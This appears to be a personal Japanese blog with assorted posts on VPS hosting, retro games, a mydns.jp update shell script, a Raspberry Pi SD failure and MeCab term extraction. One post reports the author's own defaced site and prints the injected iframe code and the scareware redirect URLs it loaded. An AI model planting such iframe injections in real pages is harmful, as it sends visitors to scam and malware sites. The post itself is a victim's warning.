デスクトップが自宅以外にほしい!VPSで・・・!

結局ynko.gaのドメインは失われてしまった・・・

でもなんとかサーバー移行が完了したので、記事を書いてみる。

自宅以外にデスクトップを持つ

サーバーと言えば本来はCUIで操作するのがCoolだと思うのだけど、

ブラウザじゃないと操作できないこともある。そこをハッキングしてCUIでなんとか・・・したいところだけど、そんなこと言っていてもいつまでも実現できないなんて事になったら時間の無駄・・・

というわけで、モヤモヤ、自宅以外に環境を作るにはどうしたもんかと考えたらいろいろ案がでてきたよ。

VPSと言う選択

VPSというのは Virtual Private Server の略で、レンタルサーバーより一歩進んでいて好きなように環境を構築できるし、好きなソフトを何でもインストールできるという夢のような環境です。

もちろん自宅PCほどにはスペックはないけど、24時間稼働させるサービスを簡単に構築できると言うメリットがあります。いつでも電源が入ってる「開いててよかった」のネット版です(かなあ? 笑)

でもまあ、私が契約しているような500円サーバーはCUIしか無理です。

それでもX Window Systemをインストールする猛者もいるんですけど、ちょっと非力なサーバーだと何も作業できないんじゃないのという不安が。

そこで、思い出したんですけど、そもそもWindowsがすぐに使える状態になっているVPSもあったな!、って。

Windowsにはリモートデスクトップと言う機能があって、相手側が認証していれば、世界中のPCにログインして操作することが出来るんですよね。

そういうサーバーを借りちゃおう、って話です。

さくらインターネットのVPS

多分国内で本格的にVPSを初めたのがさくらインターネットです。

ここの一番安いもので1100円(消費税痛い・・)

でも初期費用が2200円もかかります。

更にウィークポイントとしては768MBと言う微妙なメモリ・・・これでウインドウズがまともに動くのか・・・。

とにかく一切不要なソフトを入れなければわりと動くものなんでしょうか。

しかし、さくらインターネットが素晴らしいのは2週間の無料体験があるところです!

2週間以内の解約前提ならもっとハイスペックなサーバーを借りたほうが良いような気もしますが、低スペでどこまで出来るのかを知りたい気もします。

無料は1回だけなので悩みますね。

ConohaのVPS

非常に変わったレンタルサーバーのConohaです。

初期費用は一切なくて、サーバーごと時間単位で契約できます。

もちろん1ヶ月継続したほうがお得にはなります。

サーバーのデータをバックアップしてサーバーを削除してしまえば料金がかからなくなるのが非常におもしろいです。

このバックアップをおいてる分にはお金がかからないのか?そこが謎ではありますが、単純にブラウザを操作したいだけならあまり心配はないですね。

しかも、今入会だと700円もらえます。

この7日間無料、というのはその700円を充当してね、と言う意味です。

さらに誕生日に500円をくれたりします。

月間1800円なので、サクラよりかなり高いですが、初期費用がかからないし
スペックはかなりいいです。(2コア、メモリ1GB)

ちょっと試すならこれもありですね。

kagoyaクラウド

なんだこれは!完全日割りです!!素晴らしい!

1コア1GBメモリでデイリー38円の明朗会計!

conohaとにた感じで、アカウントそのままでもサーバーさえ削除すれば料金がかからなくなります。

1日だけ使いたいというより数時間使いたい、ということのほうが多いような気がするので、conohaのほうが良いような気もしますが、

これも興味津々ですね・・・!

Windows環境は簡単に用意できる

ゲームをしたり・・・ってのは流石に無理ですが、

自宅で作業したくない、定期実行したいなにかがある、

などWindowsがひつようになることもあるでしょう。

調べてみて手頃なサービスが有るもんだな、と感心しました。

(消費税がなければもっと・・・)

スパルタンX2(Kung Fu 2)が面白すぎる

スパルタンX2(Kung Fu 2)というフリーソフトを発見しました。

ダウンロード

スパルタンXのファンゲームだと思いますが、非常に良く出来ています。
アレンジサウンドもいい感じです。

これ自体かなり古いゲームのようですが、なかなか完成度が高くブラウザ上でもプレイできるのでぜひやってみてほしいです。

ゲームコントローラーにも対応しています。タイトルでの設定が必要ですけど。

ボスがずっと手強くなっている

元祖スパルタンXと比べると圧倒的にボスが強いです。
基本的には固いですが、連打が当たると気持ち良いです。
オリジナルはたったの5面で終わってしまいますが、9面まであります。
2週目も結構強化されていて楽しめます。まだ2周めはクリアしていませんが、頑張ってみたいです。

必殺技あり

クリアしていくと必殺技を覚えていきます。合計4つ。
1面クリアで覚える波動拳がチョー使えます^^;

昇竜拳はいつ使うんだ?とおもったらボス戦で使えます。
スパルタンXは有名なmod動画があるのですが、あれが実際にプレイできる感覚がちょっとします。
あそこまでハチャメチャじゃないのですけど良いバランスだと思います。

地味な不満点

せむし男(子供?)がたまにジャンプしてくるのですけど、ファミコン版ではジャンプで頭突きとなって倒せたんですけど、それができなくなっています。そのため結構攻略が難しくなっています。
ナイフマンに加えて、ブーメランマン(?)が通常の敵として登場します。投げるブーメランが何故かとても避けにくいのが不満でした。戻ってくるブーメランはしゃがんでも当たってしまいます。ジャンプで避けるしか無いのでしょうか?ちょっと難しすぎますね。

あと、これはチョー細かい点なのですけど、ボスを倒したら階段を登ってほしいですね!
あれが、スパルタンXの醍醐味でもあるので!

もう更新は望めないでしょうが、それだけに完成度が高いので、もう少し・・・!と欲が出ます。

もちろん今のままでも十分楽しめると思いますので、ぜひ。

N予備校のプログラミング講座が気になって仕方ない

N予備校 と言うのは元々高校生向けのWEB塾のようなものです。

月額1000円払うと、アーカイブはもちろん、ライブの授業にも参加できるようになるようです。
ライブの授業では質問もできるようなのですが、荒れ無いのか?、というところは若干気になりますが、面白そうです。
やる気さえあれば、同じ授業をどこでも受講できるわけで30年前に比べればとんでもないほど優遇されていると感じます。

まあ、大学受験は今更どうでもいいんですけど、このN予備校にプログラミング講座が開講されていて、年令を問わないってことなので、かなり魅力的なんです。

大学のC言語の講座などは初歩過ぎてとてもつまらないと聞きます。
しかししかし。
このN予備校のカリキュラムを眺めているととても楽しそうです。
コースごとに「??ができるようなる」という目的が書いてあるので、そう感じるのかも。
かなり実践的に感じます。

この中でもコンピューターサイエンスはちょっと盲点ではありました。
あえて思いっきり実践的でないものとして入れているような気すらします。
年甲斐もなく、ドキドキ・ワクワクしてしまいます 笑

しかもお値段据え置きの1000円・・・!
まじですか?!
1000円って・・・どんなプログラミング入門書も買えない金額ですけど・・・・。

初月無料、っていつまで?

これが謎なんです。
このサービスを知った際に月半ばを過ぎていましたので、
ここから入会するのはないかな、と思っていました。
しかしながら、初月無料は今月だけかもしれない・・。

と言うかどういう課金体系なんだろう・・??

月末締め・・・?
一旦退会、とかもできるんだろうか??
ボリュームが全然わからないことも、ちょっときになりますね。

10月から入会してみようかな・・・。
そう言えば、月額1000円だと、日経ソフトウェアも買えないですね。

これで就職できるっていうのは流石にないと思いますが。
(東京以外では多分ありえないです。地方ほど実績実績うるさいです)

入会してみたら、実際のレビューも追加してみたいです。

スクリプトを引数形式に改造する[私的mydns.jpの更新スクリプト]

どっちが良いのかは、はっきりとはいえないですけど、思い立ったら改造してみるのは良いことです。

というわけで引数形式に変更してみます。

と言っても簡単で、冒頭でこうするだけですね。
シェルスクリプトはこういうところが簡単で好きです。

ID=$1
PW=$2

第1引数にID、第2引数にパスワードを受けています。

引数チェックをします。

if [ $# -ne 2 ];then
    echo usage $0 [ID] [pw]
    exit 1
fi

引数が足りない場合にはUSAGEを表示するのがルールです。こういうのは癖付けしておくと後で楽ですね。

ついでにコマンドライン実行時に確認するようにしてみました。

echo ready?
read HOGE

if [ "$HOGE" != "y" ] ;then
    echo No update...
    exit 1;
fi

ready?に対して y を入力すると続行する感じです。
これは、要らないかもしれないですけどね・・・。

 

というわけで、このようになりました。

#!/bin/sh

ID=$1
PW=$2

if [ $# -ne 2 ];then
    echo usage $0 [ID] [pw]
fi

echo ID $ID
echo PW $PW
echo ready?
read HOGE

if [ "$HOGE" != "y" ] ;then
    echo No update...
    exit 1;
fi

#変数定義
HTTP="http://"
IPV6=${HTTP}${ID}:${PW}@ipv6.mydns.jp/login.html
IPV4=${HTTP}${ID}:${PW}@ipv4.mydns.jp/login.html

echo get current IP...
NEW_IP=`curl ifconfig.co`
echo $NEW_IP

echo set ipv6...
wget -q -O `date +%Y%m%d_%H%M%S`_ipv6.txt $IPV6
if [ $? = 0 ] ; then
    sleep 3;
    echo set ipv4...
    wget -q -O `date +%Y%m%d_%H%M%S`_ipv4.txt $IPV4
    if [ $? = 0 ] ; then
        #更新
        echo [`date +%Y%m%d_%H%M%S`] update to $NEW_IP
    else
        echo error update ipv4.
    fi
else
    echo error update ipv6.
fi

絶妙なタイミングでmicroSDが壊れたみたい

rpc-cloneをちょうど済ませたところで、
apt upgrade
を行ったところで何故かリモートデスクトップでの接続ができなくなってしまいました。

そこで再起動を行うとSSHすら繋がらなくなりました。
Raspberry Piの実機を見てみますと、緑のランプが点滅していて明らかに異常っぽいです。
一旦電源を抜いてテレビのHDMIに繋いでみましたが、何も表示しませんでした。
壊れてしまったのでしょうか・・・。

7回の緑点滅の意味は?

一応このようなTipsが出ているようです。

3回点滅 → loader.binがない
4回点滅 → loader.binが起動しない
7回点滅 → kernel.imgがない

でも、kernel.imgがないと言われても、どうすればいいのか・・・?
とりあえず、rpi-cloneでバックアップを取っていたので、これで起動するかどうかを見てみるか・・・
でも、このバックアップって差し替えるだけでいいのか、謎です・・・。
とりあえず、さして起動しなかったら考えようということで、差し替えて起動してみると・・・!
見事起動!
とりあえず安心して、起動しなくなったSDカードを確認することにしました。
バックアップを取ってよかったです・・・。

raspberry PiのSDが壊れた!

カードリーダーに装着して、WinPCに繋いでみましたが、認識音はするもののドライブとしては認識しません。
SD Card Formatterでフォーマットすればいいのかと思いましたが、そもそも認識しないので無理です。

 

BONZの永久保証はきくの?

知る人ぞ知るBONZというところで買ったのですが、保証書がこれです。

印刷のペラ紙です。
色々書いてあるのですが、封筒にメモリとこの紙が入っていただけで

1)購入証明書(納品書等)の掲示がない場合
2)製品に貼り付けされているシールが剥がされてい場合

とか書いてあるのですけどなかったですけど・・・

とりあえず問い合わせをしてみました。

 

ex_mecab.plの内容をみてみた

ex_mecab.pl の中でやっていることをみてみました。

# 出力モードを指定
# 1 → 専門用語+重要度、2 → 専門用語のみ
# 3 → カンマ区切り
my $output_mode = 1;

出力形式を変えられるようになっているんですね。

 

#
# 重要度計算で、連接語の"延べ数"、"異なり数"、"パープレキシティ"のい
# ずれをとるか選択。パープレキシティは「学習機能」を使えない
# また、"連接語の情報を使わない"選択もあり、この場合は用語出現回数
# (と設定されていればIDFの組み合わせ)で重要度計算を行う
# (デフォルトは"延べ数"をとる $obj->use_total)
#
#$data->use_total;      # 延べ数をとる
#$data->use_uniq;       # 異なり数をとる
#$data->use_Perplexity; # パープレキシティをとる(TermExtract 3.04 以上)
#$data->no_LR;          # 隣接情報を使わない (TermExtract 4.02 以上)

結果の横に出てくる数値が”重要度”のようです。
設定しないと「延べ数」になるようですね。
これ設定を変えて結果がどうなるか見てみるのも良いかも??

 

# 重要度計算で、連接情報に掛け合わせる用語出現頻度情報を選択する
# $data->no_LR; との組み合わせで用語出現頻度のみの重要度も算出可能
# (デフォルトは "Frequency" $data->use_frq)
# TFはある用語が他の用語の一部に使われていた場合にもカウント
# Frequency は用語が他の用語の一部に使われていた場合にカウントしない
#
#$data->use_TF;   # TF (Term Frequency) (TermExtract 4.02 以上)
#$data->use_frq;  # Frequencyによる用語頻度
#$data->no_frq;   # 頻度情報を使わない

これよくわからないですね。
またこんどどう変わるか確認してみます。

 

#
# 重要度計算で、学習機能を使うかどうか選択
# (デフォルトは、使用しない $obj->no_stat)
#
#$data->use_stat; # 学習機能を使う
#$data->no_stat;  # 学習機能を使わない

学習機能を使うと、どうなるのか?

単名詞の連接情報は、元となるデータが多ければ多いほど正確な統計データが
得られると推定されます。この学習機能は、いままでに処理対象としたテキストか
ら単名詞の連接情報を蓄積し、重要度計算で用いるものです。ただし、雑多な
文献を扱うと、結果として一般すぎる語が上位にきます。分野を特定した上でお使
い下さい。

とのことです。
どんな原文を解析させていくかで、結果が変わっていくということでしょうか?
 

# 重要度計算で、「ドキュメント中の用語の頻度」と「連接語の重要度」
# のどちらに比重をおくかを設定する。
# デフォルト値は1
# 値が大きいほど「ドキュメント中の用語の頻度」の比重が高まる
#
#$data->average_rate(0.5);

なるほど。これは面白そうです。
これも値を変えてみてどうなっていくか調べたいですね。

# 学習機能用DBにデータを蓄積するかどうか選択
# 重要度計算で、学習機能を使うときは、セットしておいたほうが
# 無難。処理対象に学習機能用DBに登録されていない語が含まれる
# と正しく動作しない。
# (デフォルトは、蓄積しない $obj->no_storage)
#
#$data->use_storage; # 蓄積する
#$data->no_storage;  # 蓄積しない

これは、学習機能を使う、とセットでないと意味はなさそう。

# 学習機能用DBに使用するDBMをSDBM_Fileに指定
# (デフォルトは、DB_FileのBTREEモード)
#
#$data->use_SDBM;

# 過去のドキュメントの累積統計を使う場合のデータベースの
# ファイル名をセット
# (デフォルトは "stat.db"と"comb.db")
#
#$data->stat_db("stat.db");
#$data->comb_db("comb.db");

DBの種類の設定とDBファイル名の設定ですね。
これは別にそのままでいいと思います。
DBM(バークレーDB)はデフォルトでは入っていないからだそうです。
しかし、今はレンタルサーバーでも入っていると思います。

# データベースの排他ロックのための一時ディレクトリを指定
# ディレクトリ名が空文字列(デフォルト)の場合はロックしない
#
#$data->lock_dir("lock_dir");

ロックですね。シングルで使うには必要ないでしょう。

# 「形態素解析」済みのテキストファイルから、データを読み込み
#  専門用語リストを配列に返す
#  (累積統計DB使用、ドキュメント中の頻度使用にセット)
#
#my @noun_list = $data->get_imp_word($str,'var');      # 入力が変数
my @noun_list = $data->get_imp_word($InputFile);  # 入力がファイル

変数読み込みもできるように配慮されています。
WEBからの読み込みと組み合わ焦ることも簡単にできそうですね。

# 前回読み込んだ「形態素解析」済みテキストファイルを元に
# モードを変えて、専門用語リストを配列に返す
#$data->use_stat->no_frq;
#my @noun_list2 = $data->get_imp_word();
# また、その結果を別のモードによる結果と掛け合わせる
#@noun_list = $data->result_filter (\@noun_list, \@noun_list2, 30, 1000);

ここ謎ですね?
すべてコメントですから、デフォルトでは動作していません。
get_imp_word という関数を使って何かをしマージしているように見えます。
30,1000という引数が何を意味するのでしょうかね・・・?

#
#  専門用語リストと計算した重要度を標準出力に出す
#
foreach (@noun_list) {
   # 日付・時刻は表示しない
   next if $_->[0] =~ /^(昭和)*(平成)*(\d+年)*(\d+月)*(\d+日)*(午前)*(午後)*(\d+時)*(\d+分)*(\d+秒)*$/;
   # 数値のみは表示しない
   next if $_->[0] =~ /^\d+$/;

   # 結果表示
   printf "%-60s %16.2f\n", $_->[0], $_->[1] if $output_mode == 1;
   printf "%s\n",           $_->[0]          if $output_mode == 2;
   printf "%s,",            $_->[0]          if $output_mode == 3;
}

出力形式をいじれますね。

次回はこれを踏まえて検証をしてみたいと思います。

マイ・ベストゲーム パックランドの思い出

私の人生ベストゲームは何と言っても「パックランド」です。
子供の頃、ゲームセンターの基盤を自分で買って自宅でアーケードゲームをやる、ということがマニアで流行りました。
ベーマガの巻末には基盤の中古のリストが載っていました。
私もいつか基盤を買って自宅でパックランドをやりまくるのが夢でした。
(まさかそういうことが不要になるなんて・・・mameには驚きました)

 

アーケード版

アップライト式もあったようなのですが、私の思い出はテーブルです。

操作するボタンはたったの3つしかなく、初回プレイでどれだけ操作できたか覚えていませんが、
ぞっこんになってしまいました。
帰り道の魔法の靴が楽しかったです。

 

ファミコン版登場

スーパーマリオがすごく良くできていたので、
パックランドリリースが決まったとき、かなり期待しました。
しかし、なんか違う、と言うかぜんぜん違うものが・・・。

キャラクターが小さいせいで、やたら画面が広くちまちましています。
それより何より・・・
なんか楽しくない・・・!

 

X68000版

風のうわさ、と言うかベーマガに載っていたかな?
なんと、専用コントローラー付きで・・・!さすがこだわりの電波新聞社と思いました。
いつか基盤を・・・と思っていたけど、こっちでも良いなあ、と思いましたねぇ。

 

パックランドじゃないけど・・・!

正確にはパックランドではなく、PacWorldです。
ベーマガの投稿プログラム(?)でした。
基本的な命令しか使っていませんでしたので、ベーマガを買ってきた当日にX1に移植しました。

これ画面が寂しいと思うでしょうか。
でもめちゃくちゃ良くできてたんです。
ファミコンが「わかってない」移植であるとするのなら、
PC-8001のpacWorldは「わかってる」ゲームでした。
大きなキャラがキーの連打によって早く走る。
ジャンプ時の連打!
パックランドを感じることができたんですよね?。
なんと作者の方(もしくは代理の方?)が配布されています!PAC-WORLD
私もプレイさせていただきました。やはりとても良くできていると再確認しました。
素晴らしい!

そして真打PCエンジン版!

そして時はかなり流れ、流れ、
いまさら?なんで??という時期に発表されたのが「PCエンジン版」でした。
先にファミコン必勝本の新ソフト紹介で知り、驚きました。
そして当時の人気番組「大竹まことのPCランド」で紹介映像が流れました。
私に目にはアーケード版とまったく同じに見えました。
とうとう家にやってくる。あのパックランドが!
当然予約して発売日に購入しました。

そうしてやってきたパックランドは・・・
たしかにとても良くできていました。

しかしながら、かなり程度満足し、パックランド熱も解消されたのでした・・・。

結構憧れのJR-100

マイコンベーシックマガジンによく広告が載っていて私を魅了していたPCがある。
それがJR-100だった。

地方のPCショップなどにも展示されることもなく、結局触ることはできませんでした。

なので、実際のサイズ感はわからないのですが、
美しいカラーリングとコンパクトさ。
これでちゃんとパソコンなのだから、スゴイ!、と思っていました。

いまおもえばX1のほうがずっとずっといいのですが、
無骨なX1と比べても、この小ささは素敵だと思っていました。

色はグリーンのみだし、解像度も多分低い。
そして、キャラクタ定義ができたのです。
X1はもっと高機能だったのですが、
高機能すぎて扱いづらかった感じがします・・・。

何より価格。
54,800円という価格は当時、かなり安かったです。

無理に30万のPCを買うより、こういうので試してみるのが正解だった気がしますが、
当時の人々の感覚として、「無理していいのを買ったほうがいい」という気概があったように思います。

そういうのが裏目に出て、こういう格安PCはいがいと売れていなかったような気がしますね。
実際にはどうだったのですかね・・・。

この後にJR-200と言うのが出ています。
少しデザインが悪くなって、魅力がなくなっています。

こちらも、とうとう触ることができませんでした。

同じくらいの頃に発売していたパソコンとしてはM5が浮かびます。
JR-100もM5も独自規格でした。
このあと格安PCはMSXが一択になっていきます。
どこもかしこも格安PCとしてMSXを出していたので、少し面白くなかったですね。
独自規格の変態PCが好きでした 笑

JR-100はゲームソフトが発売されていなかったように記憶しています。
すべて、自分で、解決。
そういうストイックさにも憧れましたね。

今で言うともしかして、IchigoJamが近いんじゃないですかね??
IchigoJamのプログラミング画面を見ていると、JR-100が浮かびます。
IchigoJamは結構遅いので、下手すると、あの頃のPCよりも遅いかも・・・。
古いPCを楽しみたければやはりエミュレーターのほうが良いかもしれません。

さくらインターネットで放置してあったhtmlが改ざんされていたよ

2008年の春頃にあるアフィリエイト手法を購入しました。
しかし、サイト構築中に頓挫し放置してあったサイトが有りました。
久しぶりにどんなサイトだったか見てみようかと思ったところ、様子がおかしい・・・。

なんと改ざんされていました。

あの皆さんおなじみな
「あなたのPCのがウイルスに感染しています」
な広告が埋め込まれちゃっていました。ムカつく!!

埋め込まれたのは

2009/01/14
2008/11/08

でした。
こんなコードがテーブルに突っ込まれていました。

<TD>
<div align=”center”><iframe src=”http://nds.mydns.to/cgi?bin/infotop.cgi?id_i=31105&m=0&i=0&t=0&h=24&c=0&r=&cl=” marginwidth=”1” marginheight=”1” width=”200” height=”1400” border=”0” frameborder=”0” style=”border:none;” scrolling=”auto”><A href=http://nds.mydns.to/>info?get</a></iframe></div>
</TD>

これ、どんな改ざんだったかということを、ここに記入するだけでインラインフレームが機能してしまい
忌々しいダイアログが出てさしずめブラクラのようになってしまい苦労させられました。
そのためとりあえず全角に変換しました。
このコードを書いてしまうとブラウザを通した瞬間からカタコトの警告メッセージが語られ始めます・・・。

インラインフレームの内容はこれです。

http://nds.mydns.to/cgi?bin/infotop.cgi?id_i=31105&m=0&i=0&t=0&h=24&c=0&r=&cl=

これあまり試さないほうがいいとは思いますが、

http://nds.mydns.to/

にアクセスすると、たちまちリダイレクトされて

http://scifiregulatoroy.info/indexcr11.html (chrome)
http://scifiregulatoroy.info/indexfirefox.html (firefox)

に飛ばされます。FireFoxの場合404となって機能しないようです。

このmydns.toっていうのは、間違いなくmydnd.jpを真似て取得したんでしょうねえ・・・。
mydnd.jpの方はとても素晴らしいサービスです。とっても有名なDDNSですね。自作サーバーにドメインを設定したい場合は必須なサービスです。
それをこんなクソなことに使うなんて・・。

それにしてもこの広告ってものすごくはびこっていますが、儲かっているのでしょうか・・・?
いままでも時々出ることはありましたが、
自分のところにも埋め込まれてるってことは、その殆どが意図せずに埋め込まれてるってことなんですね。

これ引数が

infotop.cgi?id_i=31105&m=0&i=0&t=0&h=24&c=0&r=&cl=

になってるのが気になるのですが、
このインフォトップのクッキーが埋め込められているのでしょうかね。
そう思って調べてみたのですが、ID=31105 は埋め込められてませんでした。

随分前に改ざんされっぱなしで迂闊でした。
意外と簡単に改ざんされてしまうみたいなので、一旦確認したほうが良いですよ、というお話でした。